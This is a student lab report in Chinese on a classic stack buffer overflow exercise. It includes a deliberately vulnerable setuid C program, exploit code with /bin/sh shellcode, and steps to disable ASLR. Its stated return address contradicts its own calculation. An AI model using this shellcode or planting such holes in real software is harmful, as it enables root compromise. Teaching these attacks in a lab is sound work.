20165232 缓冲区溢出漏洞实验
緩沖區(qū)溢出漏洞實(shí)驗(yàn)
實(shí)驗(yàn)準(zhǔn)備
實(shí)驗(yàn)環(huán)境需要32位的Linux系統(tǒng),需要下載安裝一些用于編譯 32 位 C 程序的軟件包,代碼如下:
$ sudo apt-get update$ sudo apt-get install -y lib32z1 libc6-dev-i386$ sudo apt-get install -y lib32readline-gplv2-dev實(shí)驗(yàn)內(nèi)容
初始設(shè)置
1.使用命令
$ sudo sysctl -w kernel.randomize_va_space=0來關(guān)閉地址空間隨機(jī)化。
2.用另一個 shell 程序(zsh)代替 /bin/bash,代碼如下:
$ sudo su$ cd /bin$ rm sh$ ln -s zsh sh$ exit3.輸入/bin/bash
shellcode
一般情況下,緩沖區(qū)溢出會造成程序崩潰,在程序中,溢出的數(shù)據(jù)覆蓋了返回地址。而如果覆蓋返回地址的數(shù)據(jù)是另一個地址,那么程序就會跳轉(zhuǎn)到該地址,如果該地址存放的是一段精心設(shè)計(jì)的代碼用于實(shí)現(xiàn)其他功能,這段代碼就是 shellcode。
漏洞程序
1.在 /tmp 目錄下新建一個 stack.c 文件:
$ cd /tmp $ vi stack.c代碼如下:
/* stack.c *//* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h>int bof(char *str) {char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1; }int main(int argc, char **argv) {char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1; }2.編譯該程序,并設(shè)置 SET-UID。命令如下:
$ sudo su$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c$ chmod u+s stack$ exit攻擊程序
1.在 /tmp 目錄下新建一個 exploit.c 文件,代碼如下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv) {char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節(jié)覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設(shè)為了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile); }2.要得到 shellcode 在內(nèi)存中的地址,輸入命令:
$ gdb stack$ disass main
3.根據(jù)語句 strcpy(buffer + 100,shellcode); 我們計(jì)算 shellcode 的地址為 0xffffd420(十六進(jìn)制) + 0x64(100的十六進(jìn)制) = 0xffffd484(十六進(jìn)制)
現(xiàn)在修改exploit.c文件!將 \x??\x??\x??\x?? 修改為 \xc4\xd0\xff\xff
然后,編譯 exploit.c 程序:
$ gcc -m32 -o exploit exploit.c攻擊結(jié)果
作業(yè)題
通過命令
sudo sysctl -w kernel.randomize_va_space=2打開系統(tǒng)的地址空間隨機(jī)化機(jī)制,重復(fù)用 exploit 程序攻擊 stack 程序,觀察能否攻擊成功,能否獲得root權(quán)限。
轉(zhuǎn)載于:https://www.cnblogs.com/heyanda/p/9785805.html
總結(jié)
以上是生活随笔為你收集整理的20165232 缓冲区溢出漏洞实验的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ResourceManager中的Res
- 下一篇: chrome开启touch屏幕点击事件